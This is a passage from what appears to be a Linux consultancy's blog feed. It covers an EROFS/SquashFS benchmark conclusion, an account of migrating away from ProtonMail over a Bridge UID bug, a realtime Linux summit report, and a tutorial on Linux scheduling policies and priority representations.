Daten, die zwar übertragen werden, aber eigentlich zu einem anderen Block
gehören. Die I/O-Transfers von der SD-Karte werden ineffizient genutzt. Bei
EROFS ist das nicht der Fall, und die Fixed Output Compression bedeutet, dass
eine höhere Datendichte tatsächlich die Ausnutzung der gelesenen Geräteblöcke
verbessert.</p>
<h4 id="erhöhen-der-blockgröße">Erhöhen der Blockgröße</h4>
<p>Ebenso sehen wir, dass SquashFS mit größerer Blockgröße an Leistung gewinnt.
Deutlich mehr Dateien kleiner als 128KiB werden nun in gemeinsame
&ldquo;Fragment-Blöcke&rdquo; gepackt. SquashFS hält intern einen Cache von 3
Fragment-Blöcken, und mit einer größeren Blockgröße erzielen wir nun mehr
Cache-Treffer. Bei jedem Cache-Miss muss zwar ein viel größeres Stück von der
SD-Karte gelesen werden, aber der Overhead durch unausgerichtete Lesezugriffe
ist nun vergleichsweise klein.</p>
<h2 id="fazit">Fazit</h2>
<p>Ist EROFS also der bessere Ersatz für SquashFS? Es kommt darauf an.</p>
<p>Datenkompression ist ein klassisches Beispiel für einen Kompromiss zwischen
Speicherplatz und Zeit. Selbst in unserem eigenen Benchmark sehen wir zum
Beispiel, dass LZMA fast 60% Platzersparnis bringt, dafür aber beim Entpacken
der Daten Leistung kostet. LZ4 ist im Vergleich extrem schnell, kommt aber
nicht annähernd an diese Datendichte heran.</p>
<p>Genauso ist SquashFS darauf ausgelegt, das letzte Byte aus einem Dateisystem
herauszuholen. Das Ziel von EROFS ist dagegen, <em>trotz</em> Kompression schnell
zu sein; dafür opfert es Platz zugunsten von Geschwindigkeit.</p>
<p>Unserem Benchmark zufolge erreichen beide Dateisysteme ihre jeweiligen Ziele
recht gut.</p>
<h4 id="empfehlungen">Empfehlungen</h4>
<p>Wenn Speicherplatz knapp ist, spricht vieles dafür, bei SquashFS zu bleiben.
Wenn Datei-I/O in Ihrer Anwendung ein Flaschenhals ist, lohnt sich ein Blick
auf EROFS auf jeden Fall.</p>
<p>Bitte beachten Sie, dass die LZMA-Kompression für EROFS zum Zeitpunkt der
Erstellung dieses Artikels noch als experimentell gilt.</p>
<p>Auf EROFS-Seite wäre Zstd ein interessanter Kompressor als Ergänzung. Wie
andere SquashFS-Benchmarks gezeigt haben, bringt Zstd gegenüber LZ4 deutliche
Gewinne bei der Datendichte, lässt sich aber immer noch viel schneller
entpacken als LZMA.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://dr-emann.github.io/squashfs/squashfs.html">https://dr-emann.github.io/squashfs/squashfs.html</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://github.com/AgentD/squashfs-tools-ng/blob/master/doc/benchmark.txt">https://github.com/AgentD/squashfs-tools-ng/blob/master/doc/benchmark.txt</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Our ProtonMail Adventure - A Five Act Drama</title><link>https://sigma-star.at/blog/2022/07/protonmail-adventure/</link><pubDate>Fri, 01 Jul 2022 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/07/protonmail-adventure/</guid><description><![CDATA[<h1 id="our-protonmail-adventure---a-five-act-drama">Our Protonmail Adventure - A Five Act Drama</h1>
<h2 id="1-exposition">1. Exposition</h2>
<p>After many years of running our mail/groupware setup on our own infrastructure we decided
in early 2021 to switch to a hosted solution.
The main reason was time: Everyone in the team is busy with writing or auditing code and
the time left for petting mail servers went close to zero.</p>
<h4 id="the-decision">The Decision</h4>
<p>From the very beginning ProtonMail was on the shortlist because we liked the idea of
having all our mails encrypted on the ProtonMail servers.
Side note: Yes, we knew that ProtonMail can in theory capture our passwords
and decrypt everything.
Some team members have been using it privately too and have been quite happy.
Since ProtonMail now also supports groupware features such as calendar and contacts
we finally decided to give it a try.
At this time we knew already about some limitations, for example, no ProtonMail Calendar App
for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon.
Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped
that those missing features will materialize sooner or later.</p>]]></description><content:encoded><![CDATA[<h1 id="our-protonmail-adventure---a-five-act-drama">Our Protonmail Adventure - A Five Act Drama</h1>
<h2 id="1-exposition">1. Exposition</h2>
<p>After many years of running our mail/groupware setup on our own infrastructure we decided
in early 2021 to switch to a hosted solution.
The main reason was time: Everyone in the team is busy with writing or auditing code and
the time left for petting mail servers went close to zero.</p>
<h4 id="the-decision">The Decision</h4>
<p>From the very beginning ProtonMail was on the shortlist because we liked the idea of
having all our mails encrypted on the ProtonMail servers.
Side note: Yes, we knew that ProtonMail can in theory capture our passwords
and decrypt everything.
Some team members have been using it privately too and have been quite happy.
Since ProtonMail now also supports groupware features such as calendar and contacts
we finally decided to give it a try.
At this time we knew already about some limitations, for example, no ProtonMail Calendar App
for iOS or no support to have shared calendars. ProtonMail pre-sales assured us that they are working on these features and that they will be available soon.
Since initial tests worked well we purchased a ProtonMail Visionary subscription and hoped
that those missing features will materialize sooner or later.</p>
<h2 id="2-rising-action">2. Rising Action</h2>
<h4 id="aliases-with-multiple-recipients">Aliases with multiple recipients</h4>
<p>Right after purchasing a subscription we experienced the first set-back.
Since the very beginning of our company history we have mail aliases such
as office@ or accounting@ which will target multiple recipients.
While ProtonMail supports aliases, it has no support for simple distribution lists.
So having an office@ pointing to multiple mailboxes is not possible.
ProtonMail support confirmed that this feature is not available but might be
implemented eventually in the future.
Teeth-gnashingly we worked around the issue by assigning aliases to only one
recipient each and started forwarding mails manually.</p>
<h4 id="android-app">Android App</h4>
<p>Some of our mailboxes are rather huge, they contain up to 100k mails.
While importing them via IMAP worked well, accessing them for the first time did not.
Especially the ProtonMail App for Android does not like lots of new mail or mails
with a new state. After the initial import the Android App stopped working for more than
two days after finally being able to display mails.
The same problem was also observable after marking a few thousand mails as read.
Another obstacle with the Android App was that frequent changes between WiFi and
cellular network caused an invalid state and the app was unable to fetch new mail.
Erasing all app data resolved the problem in most cases, sometimes only
re-installing the whole app helped.</p>
<h4 id="protonmail-bridge">ProtonMail Bridge</h4>
<p>On our workstations we deployed ProtonMail Bridge so that everyone was able to use
their least hated mail client. The bridge connects to ProtonMail services
and acts as an IMAP service on localhost.
Soon we experienced high CPU usage and stalls of the bridge process.
The CPU usage problem has highly correlated with the used mail client.
Most problems have been observed when KDE Kmail was used.
Our best guess is that Kmail runs many IMAP requests in parallel and triggers
various scaling issues within the bridge. ProtonMail support was unable to help us.
As a workaround some of us started using getmail to fetch mail via IMAP into a
local Maildir and gave Kmail access to it.
With getmail being relatively stupid and strictly single threaded the bridge consumed
much less CPU and showed no stalls.
It turned out that has been the least problem with ProtonMail Bridge.</p>
<h4 id="end-to-end-pgp">End-to-End PGP</h4>
<p>We&rsquo;re heavy users of PGP mail and believe in end-to-end encryption.
While ProtonMail can do PGP for us on the server side, nobody of us would ever
upload their kernel.org PGP private key into ProtonMail.
The server side PGP feature of ProtonMail is nice, as all mails stored on Proton&rsquo;s servers are encrypted, but we&rsquo;re still utilizing PGP with our
own local keys by encrypting mails with GnuPG or similar.
As a consequence mails are double PGP encrypted:</p>
<ol>
<li>First by our local PGP client</li>
<li>Later by ProtonMail on the server side</li>
</ol>
<p>A side effect of this is that the mime content type in mails is changed
from <code>Content-Type: multipart/encrypted</code> to <code>Content-Type: multipart/mixed</code>
which caused problems with various PGP capable mail clients.
To our astonishment we have been told by ProtonMail support that using PGP locally
with ProtonMail is not supported and currently works just by chance.</p>
<h4 id="the-changing-point">The Changing Point</h4>
<p>At this point most of the initial excitement for ProtonMail rendered into depression.
The only hope was that at least some of the problems or missing features we&rsquo;ve encountered will get addressed soon.
But our expectations were low, especially since most answers from ProtonMail support fell into two categories:</p>
<ul>
<li>We don&rsquo;t support this use-case.</li>
<li>Did you try turning it off and on again?</li>
</ul>
<h2 id="3-climax">3. Climax</h2>
<p>With all our workarounds installed we learned to somehow deal with ProtonMail and it
seemed to work rather well. Features were still missing but we hoped
to see some of them implemented soon with some luck.
From time to time one or the other of us noticed something strange.
An IMAP capable mail client decided to re-download the whole mailbox or started to
re-index everything. Most of the time we saw that on mbsync and Kmail.</p>
<h4 id="tipping-point">Tipping point</h4>
<p>On 29.09.2021 the situation changed significantly.
Around 15:00 that day various team members at the company saw strangeness happening
with the ProtonMail Bridge. Kmail all of a sudden re-downloaded a mailbox,
mbsync did a mis-sync and removed local mail, getmail did not download new mail
despite new mail being present, etc.
At this point our fear grew that something wonky was happening at the bridge.</p>
<h4 id="the-uid-problem-of-protonmail-bridge">The UID problem of ProtonMail bridge</h4>
<p>Around the same time Richard was debugging a problem with getmail on IMAP level and later
found that ProtonMail bridge violates the IMAP specification.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></p>
<p>Due to this bug hunt Richard had many IMAP protocol logs of his mailbox and started to
investigate why getmail on his workstation no longer found new mail after 29.09.2021.</p>
<p>At IMAP level every mail has a unique and immutable identifier: the message UID.
getmail keeps a list of downloaded UIDs to know which messages qualify for downloading.
So getmail basically asks the IMAP server for a list of UIDs of a specific mailbox,
compares it to its local list and fetches all mail who&rsquo;s UID is new.
Richard found that getmail did not see new mail because the new mail on the ProtonMail
server side had UIDs which were already in getmails list! By comparing with the protocol logs
before 29.09.2021 we had proof that the very same message all of a sudden had different UIDs.
This explained all the problems we had with various mail clients regarding mail sync.
We immediately reported the problem to the ProtonMail bridge folks and support.<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></p>
<h4 id="the-hack">The Hack</h4>
<p>To be very sure Richard added a hack to his local getmail.<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> In addition to the message UID getmail
now also stored the message size in its local state. This allowed detecting UID changes immediately.</p>
<h4 id="sure-thing">Sure Thing</h4>
<p>A few weeks later the problem happened again, getmail detected a UID change.<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
At this point it was crystal clear to us that ProtonMail bridge is not trustworthy and can
cause major trouble leading to data loss.</p>
<h2 id="4-falling-action">4. Falling Action</h2>
<p>One would expect that when such a fatal error is reported, developers would react in a reasonable way,
especially when the affected product is something you pay for. But nothing happened for a long time.
In January 2022 ProtonMail Bridge developers kind of agreed that this bug is real and they&rsquo;re basically rewriting it.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup>
In the meanwhile other users realized that they&rsquo;re also affected and that it&rsquo;s not a bug in their mail clients.</p>
<p>Around March 2022 there was still no progress with the UID bug nor with any of the missing features.
We had no iOS calendar app, no shared calendar, no distribution lists, nothing.
All we had was a huge pile of <del>wasted time with debugging and reading the source</del> new knowledge and deeper
understanding of IMAP and various mail clients which didn&rsquo;t make use more confident
to use ProtonMail Bridge.
That said, not all problems rooted in ProtonMail Bridge, we fixed also one in getmail.<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></p>
<p>The original plan was to save time by using a hosted service. The move to ProtonMail caused the opposite.</p>
<h2 id="5-resolution">5. Resolution</h2>
<p>Finally we decided to bite the bullet and migrate away from ProtonMail.
We had to accept that it is not a perfect fit for our use-cases.
For others it might work well, but not for us. Maybe it would have been a less painful experience if we didn&rsquo;t depend on the bridge.
But finally we had to give up and move on.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://web.archive.org/web/20220822094804/https://github.com/ProtonMail/proton-bridge/issues/221">https://web.archive.org/web/20220822094804/https://github.com/ProtonMail/proton-bridge/issues/221</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220">https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://github.com/richardweinberger/getmail6/commit/3abcceffa253a70e428368ec9e276b0b49058b37">https://github.com/richardweinberger/getmail6/commit/3abcceffa253a70e428368ec9e276b0b49058b37</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-972226749">https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-972226749</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-1007199436">https://web.archive.org/web/20230128150650/https://github.com/ProtonMail/proton-bridge/issues/220#issuecomment-1007199436</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://github.com/getmail6/getmail6/commit/d87d93e1d1bb2550c265a866dda667dde25865d4">https://github.com/getmail6/getmail6/commit/d87d93e1d1bb2550c265a866dda667dde25865d4</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Summit on a Summit 2022 Edition</title><link>https://sigma-star.at/blog/2022/06/summit-summit-2022/</link><pubDate>Mon, 13 Jun 2022 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/06/summit-summit-2022/</guid><description><![CDATA[<h1 id="summit-on-a-summit-2022-edition">Summit on a Summit 2022 Edition</h1>
<p>After a two years long break the <a href="https://summit-summit.org/">Summit on a Summit</a> was back in early June this year.
As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger.
It took place at the <a href="https://www.glungezer.at/">Glungezerhütte</a> at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria.
As usual hot topics around implementing realtime features on Linux were discussed.
Beside of <a href="https://wiki.linuxfoundation.org/realtime/">PREEMPT_RT</a> many of discussions focused this time on <a href="https://xenomai.org/">Xenomai</a>.</p>]]></description><content:encoded><![CDATA[<h1 id="summit-on-a-summit-2022-edition">Summit on a Summit 2022 Edition</h1>
<p>After a two years long break the <a href="https://summit-summit.org/">Summit on a Summit</a> was back in early June this year.
As always, the event was organized by Christoph Hellwig, Daniel Wagner and our own Richard Weinberger.
It took place at the <a href="https://www.glungezer.at/">Glungezerhütte</a> at almost 2600 m altitude in the heart of Tuxer Alps in Tyrol, Austria.
As usual hot topics around implementing realtime features on Linux were discussed.
Beside of <a href="https://wiki.linuxfoundation.org/realtime/">PREEMPT_RT</a> many of discussions focused this time on <a href="https://xenomai.org/">Xenomai</a>.</p>
<figure>
<img src="title.jpg" loading="lazy" decoding="async" alt="Summit on a Summit 2022 Edition" width="1200" height="562"></figure>
<h2 id="good-weather--some-peaks">Good weather &amp; some peaks</h2>
<p>On Friday we met at Innsbruck train station and drove up to Tulfes where we enjoyed a traditional Austrian lunch at the <a href="https://schnaps-brennerei.at/">Tuxerbauer</a>.
Hiking up to the Glungezerhütte took only a few hours and due to foggy weather it wasn&rsquo;t too hot.
Up at the lodge the sun came out and we had perfect weather until Sunday when we hiked down to Tulfes.
This allowed among heated discussions also some nice hikes to the nearby summits such as the Sonnen- and Viggarspitze.</p>
<h2 id="the-topics-we-discussed">The topics we discussed</h2>
<p>This year many discussed topics orbited around solving maintenance and upgrade problems - especially the Xenomai project suffers from that.
The transition to the new interrupt pipeline implementation, <a href="https://evlproject.org/dovetail/">Dovetail</a> will hopefully reduce the overhead but it isn&rsquo;t a silver bullet.
PREEMPT_RT wise, recent regressions and subtle behavioral changes have been discussed.
Most notably changes to softirq processing which made meeting timing constraints for networking application more difficult.
The possibility of using <a href="https://www.iovisor.org/technology/xdp">XDP</a> and <a href="https://ebpf.io/">eBPF</a> was stormily debated,
bypassing most of Linux&rsquo; network stack seems also for time sensitive applications a desirable solution.
But it comes with a cost: more complexity and critical code in the application itself.
Other topics focused on minor problems such as trouble with the cgroup memory controller and eBPF centered workloads on PREEMPT_RT.
Xenomai folks also took the chance to present their realtime capable serial drivers after a PREEMPT_RT user complained about tty drivers and timing sensitive workloads on Linux.
Interestingly, eBPF came up on most discussions, sometimes as solution, sometimes as root cause of trouble.
At the end of the event we had a good mix of community, user facing features and deeply internal related topics.</p>
]]></content:encoded></item><item><title>Linux process priorities demystified</title><link>https://sigma-star.at/blog/2022/02/linux-proc-prios/</link><pubDate>Wed, 02 Feb 2022 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2022/02/linux-proc-prios/</guid><description><![CDATA[<h1 id="linux-process-priorities-demystified">Linux process priorities demystified</h1>
<p>Simple questions often have not so simple answers. One example is the question,
<em>What priority does this process have?</em>
This question normally comes up when a customer asks us to explain choices
made by the CPU scheduler.</p>
<p>To answer it we need to discuss further sub-questions.</p>
<ol>
<li>What thread of the process are you interested in?</li>
<li>What scheduling policy has this thread?</li>
<li>Who gave us the process priority we&rsquo;re looking into?</li>
</ol>
<h2 id="processes-threads-tasks">Processes? Threads? Tasks?</h2>
<p>Like most operating systems Linux supports <strong>threads</strong>, which can be seen as a
distinct execution flow.
In the simplest case we have a process with just one thread, the main thread.
While a thread models the execution flow, a <strong>process</strong> models shared resources
between threads.
The most prominent resource is memory. Within a process all threads share the
same memory. Hence, many threads that run in parallel can work on the same
memory to solve a problem.</p>]]></description><content:encoded><![CDATA[<h1 id="linux-process-priorities-demystified">Linux process priorities demystified</h1>
<p>Simple questions often have not so simple answers. One example is the question,
<em>What priority does this process have?</em>
This question normally comes up when a customer asks us to explain choices
made by the CPU scheduler.</p>
<p>To answer it we need to discuss further sub-questions.</p>
<ol>
<li>What thread of the process are you interested in?</li>
<li>What scheduling policy has this thread?</li>
<li>Who gave us the process priority we&rsquo;re looking into?</li>
</ol>
<h2 id="processes-threads-tasks">Processes? Threads? Tasks?</h2>
<p>Like most operating systems Linux supports <strong>threads</strong>, which can be seen as a
distinct execution flow.
In the simplest case we have a process with just one thread, the main thread.
While a thread models the execution flow, a <strong>process</strong> models shared resources
between threads.
The most prominent resource is memory. Within a process all threads share the
same memory. Hence, many threads that run in parallel can work on the same
memory to solve a problem.</p>
<p>The Linux CPU scheduler does not operate on processes, in fact it schedules
<strong>tasks</strong>. Within the kernel the smallest scheduling entity is a task, it can be
anything that can run on a CPU.
It might be a kernel thread, a userspace thread, a threaded interrupt, etc.
So don&rsquo;t get confused, for simplicity we can assume that threads and tasks
are the same for now.</p>
<p>Since the scheduler works on tasks, it ensures that each task (and therefore,
thread) has its own priority.
To learn about the priority one must inspect all threads of a process.
By default most Linux tools just show processes, the priorities shown there
are the priorities of the main thread. Many offer a way to show threads
too. For example in the <strong>top</strong> utility by pressing <code>H</code>.</p>
<p>Now we are able to answer the first sub-question. We now know that process
priorities actually apply per thread, so we need to inspect all threads
of a process.
If the process in question has just one thread or we&rsquo;re only interested in
a specific thread, things become easy again.</p>
<h2 id="scheduling-policy">Scheduling policy</h2>
<p>POSIX requires that an operating system offers different scheduling policies, also
sometimes called scheduling classes.
By default all tasks in Linux use the default schedulung policy, called <code>SCHED_NORMAL</code>
or <code>SCHED_OTHER</code>.</p>
<p>The scheduling algorithm behind <code>SCHED_OTHER</code> is not defined by POSIX and is implementation
specific. Linux makes sure that all tasks within this scheduling policy are treated
fairly. This means no task will starve and from the user&rsquo;s point of view it seems like
all programs are running all time, nothing will feel sluggish but heavy workloads
still get stuff done in a timely manner.
In this policy every task has a priority, it is called <strong>nice value</strong>.
The <strong>nice value</strong> denotes how nice a task is to other tasks. The value ranges from <code>19</code> to <code>-20</code>.
Where <code>-20</code> means that a task is not nice at all and wants to run as often as possible,
<code>19</code> signifies it is very nice to other tasks and is fine when the scheduler picks
other tasks much more often.
Default is <code>0</code>, meaning the task is neither selfish nor too devoted.
The current algorithm behind <code>SCHED_OTHER</code> is called Completely Fair Scheduling (CFS).
CFS offers two more policies: <code>SCHED_BATCH</code> and <code>SCHED_IDLE</code>. They make sure that a
thread either runs when possible in one batch, thus
interactivity does not matter, or when <code>SCHED_IDLE</code> is selected that the thread shall
run when no other task can run, so the very least priority.
Please note that <code>SCHED_IDLE</code> has nothing to do with the idle thread.
The idle thread is scheduled when absolutely nothing runable was found by the CPU
scheduler.
When <code>SCHED_BATCH</code> or <code>SCHED_IDLE</code> are selected CFS&rsquo;s priority have no meanining,
although some tools report a number.</p>
<p>Linux also implements the POSIX Realtime Extensions. Using these extensions time
critical programs can run on Linux that have to meet strict timing constraints.
It offers two policies: <code>SCHED_FIFO</code> and <code>SCHED_RR</code>.
These policies allow deterministic scheduling between threads.
Both policies have a priority between <code>1</code> and <code>99</code>, where <code>1</code> is the lowest.
The scheduler will pick a runnable task depending on the priority.</p>
<p>Linux offers another scheduling policy, <code>SCHED_DEADLINE</code>. This policy does not
allow the setting of a priority, so it&rsquo;s irrelevant here.
As opposed to a priority it allows setting a deadline by which a given work
would be completed. So the CPU scheduler has to make sure that the task
runs for long enough before the deadline.</p>
<p>One might wonder how all these policies relate to each other since they can be mixed on the same
system.
The Linux CPU scheduler consists of five decision algorithms that select tasks,
they get executed in the following order.</p>
<h3 id="decision-algorithms-for-task-selection-in-linux-cpu-scheduler-and-their-order">Decision algorithms for task selection in Linux CPU scheduler and their order</h3>
<ol>
<li>
<p>Stop-Task:
This algorithm can only be used by one internal kernel thread
to shut down a given CPU. The sole purpose is to preempt the tasks of a given CPU
before it can be shut down.</p>
</li>
<li>
<p>Deadline:
It implements the user visible <code>SCHED_DEADLINE</code> policy.
If a <code>SCHED_DEADLINE</code> thread is present on the system it will run before
all other user visible threads, always.</p>
</li>
<li>
<p>Realtime:
<code>SCHED_FIFO</code> and <code>SCHED_RR</code> policies are implemented here. So realtime threads
always run before regular tasks and right after <code>SCHED_DEADLINE</code> threads,
if present.</p>
</li>
<li>
<p>Fair (best known as CFS):
CFS implements <code>SCHED_OTHER</code>, <code>SCHED_BATCH</code> and <code>SCHED_IDLE</code>. Most threads
present on a system are handled by this algorithm.</p>
</li>
<li>
<p>Idle:
If no algorithm finds a runnable thread the idle algorithm schedules the
idle task on the CPU. The idle task is always runnable and puts the CPU
in idle mode.</p>
</li>
</ol>
<p>With this knowledge of scheduling policies we can answer the second sub-question.
<code>SCHED_OTHER</code> has a priority between <code>19</code> and <code>-20</code>, where <code>19</code> is the lowest and <code>-20</code> the highest.
<code>SCHED_FIFO</code> and <code>SCHED_RR</code> threads use a priority between <code>1</code> and <code>99</code>, where <code>1</code>
is the lowest.
Internally <code>SCHED_IDLE</code> and <code>SCHED_BATCH</code> tasks have a nice value too, but the scheduling algorithm does
not honour it. Don&rsquo;t get confused when a tool reports a nice value for <code>SCHED_BATCH</code> or <code>SCHED_IDLE</code>.</p>
<p>The <strong>ps</strong> tool is powerful and allows us to query this information.
For example: <code>ps axHo pid,lwp,comm,policy,nice,rtprio</code>.</p>
<p>So we ask <strong>ps</strong> for a full list of all threads on the system, as well as their process id, thread id, short name, scheduling policy, nice value and realtime-priority.</p>
<p><strong>ps</strong> reports <code>SCHED_DEADLINE</code> as <strong>DLN</strong>, <code>SCHED_OTHER</code> as <strong>TS</strong>, <code>SCHED_BATCH</code> as <strong>B</strong>, <code>SCHED_IDLE</code> as <strong>IDL</strong>, <code>SCHED_FIFO</code> as <strong>FF</strong> and <code>SCHED_RR</code> as <strong>RR</strong>.</p>
<h2 id="dealing-with-different-priority-representations">Dealing with different priority representations</h2>
<p>So far we saw that priorities of type <strong>nice</strong> range from <code>19</code> to <code>-20</code> and <strong>realtime</strong> from <code>1</code> to <code>99</code>.
These are the ranges you can always expect from process tools like <strong>ps</strong>.</p>
<p>Things get complicated when raw kernel interfaces are used or kernel internal
data is analyzed. You&rsquo;ll face such situations when developing your own tools or using Linux&rsquo;s kernel instrumentation facilities.</p>
<h3 id="getpriority-system-call">getpriority() system call</h3>
<p>A prominent example is the <code>getpriority()</code> system call. It returns the nice value of a thread.
If used in C, it will return an integer between <code>-20</code> and <code>19</code> which is the expected nice value,
but only if the C library performs a fixup.
The raw kernel system call will return a shifted value within the range <code>1</code> to <code>40</code>.
The reason behind the shift is Linux&rsquo;s system call ABI. Negative return values
represent error numbers.
So if your application uses system calls directly without a libc, this might be confusing.</p>
<table>
  <thead>
      <tr>
          <th>shifted value</th>
          <th>nice value</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>1</td>
          <td>-20</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>21</td>
          <td>0</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>40</td>
          <td>19</td>
      </tr>
  </tbody>
</table>
<p>Using this system call makes only sense if the current scheduling policy is <code>SCHED_OTHER</code>.
For all other policies the returned priority is meaningless.</p>
<h3 id="unified-priorities">Unified priorities</h3>
<p>When you work with kernel instrumentation tools such as <strong>ftrace</strong> you will encounter the
deep internals of Linux.
Developers commonly use Linux&rsquo;s <code>sched_switch</code> trace point to see which task is picked
by the CPU scheduler.
ftrace will report a line like this one:</p>
<pre><code>[002] d... 565635.368831: sched_switch: prev_comm=kworker/u8:2 prev_pid=891 prev_prio=120 prev_state=R+ ==&gt; next_comm=kworker/u9:4 next_pid=983 next_prio=100
</code></pre>
<p>We observe that the scheduler on CPU 2 schedules from PID 891 to PID 983.
Please note that the PID in this context is not a process id as userspace would expect - it is in fact a thread id. Within the kernel, PID is the thread id.
What userspace gets via the <code>getpid()</code> system call is actually the thread group id.</p>
<p>The alert reader will notice that this trace point has more than just the PID, it also shows the priorities of both tasks. However, they don&rsquo;t make sense: <code>prev_prio</code> is <code>120</code> and <code>next_prio</code> is <code>100</code>. Neither are in the range of a nice level or a real time priority. Additionally, the trace point does not indicate what scheduling policy is being used.</p>
<p>To decipher these values we need to know that Linux internally uses
a unified priority among all scheduling policies.</p>
<p>It ranges from <code>-1</code> to <code>139</code>, where <code>-1</code> is the highest and <code>139</code> the lowest priority.
The unified priority is calcualted as table shows:</p>
<table>
  <thead>
      <tr>
          <th>policy</th>
          <th>specific priority</th>
          <th>unified priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DEADLINE</td>
          <td>-</td>
          <td>-1</td>
      </tr>
      <tr>
          <td>RR/FIFO</td>
          <td>99</td>
          <td>0</td>
      </tr>
      <tr>
          <td>RR/FIFO</td>
          <td>98</td>
          <td>1</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>RR/FIFO</td>
          <td>1</td>
          <td>98</td>
      </tr>
      <tr>
          <td>OTHER</td>
          <td>-20</td>
          <td>100</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>OTHER</td>
          <td>0</td>
          <td>120</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>OTHER</td>
          <td>19</td>
          <td>139</td>
      </tr>
  </tbody>
</table>
<p>With this information we can translate <code>prev_prio</code> to a nice value of <code>0</code>,
and <code>next_prio</code> to a nice value of <code>-20</code>.</p>
<p>A common pitfall when working with real time applications is to confuse
real time priorities from kernel internals and reported by user space tools.
Both are in the same range but reversed.</p>
<p>Attentive readers will notice that unified priority <code>99</code> is not claimed by
any policy. This is an inconsistency within the Linux scheduling code and as of
writing (v5.17-rc3) still present.</p>
<h3 id="proc-filesystem">proc filesystem</h3>
<p>The proc filesystem is the source of all process information tools such as <strong>ps</strong> display.
For each thread it offers a stat file which contains, beside many other statisticts, all
stats about the scheduling policy.</p>
<p>To learn the priority of a task, the <strong>18th</strong> and <strong>19th</strong> field of <code>/proc/&lt;pid&gt;/task/&lt;tid&gt;/stat</code> is
of interest.
If a task has the scheduling policy <code>SCHED_OTHER</code> the <strong>19th</strong> field is non-zero and exhibits
the nice value.</p>
<p>The <strong>18th</strong> field is more generic and exposes the unified priority of a task,
but shifted by <code>-100</code>.</p>
<table>
  <thead>
      <tr>
          <th>shifted value</th>
          <th>unified priority</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>-101</td>
          <td>-1</td>
      </tr>
      <tr>
          <td>-100</td>
          <td>0</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>-51</td>
          <td>49</td>
      </tr>
      <tr>
          <td>..</td>
          <td>..</td>
      </tr>
      <tr>
          <td>39</td>
          <td>139</td>
      </tr>
  </tbody>
</table>
<h2 id="executive-summary">Executive summary</h2>
<ul>
<li>CPU scheduler decisions affect threads, not processes.</li>
<li>Each thread has a scheduling class, either <code>SCHED_DEADLINE</code>, <code>SCHED_OTHER</code>, <code>SCHED_BATCH</code>, <code>SCHED_IDLE</code>, <code>SCHED_FIFO</code> or <code>SCHED_RR</code>.</li>
<li>Scheduling classes <code>SCHED_OTHER</code>, <code>SCHED_FIFO</code> and <code>SCHED_RR</code> allow priorities.</li>
<li><code>SCHED_OTHER</code> priority is the so-called nice value, ranging from <code>-20</code> to <code>19</code>.</li>
<li><code>SCHED_FIFO</code> and <code>SCHED_RR</code> support priorities between <code>1</code> and <code>99</code>.</li>
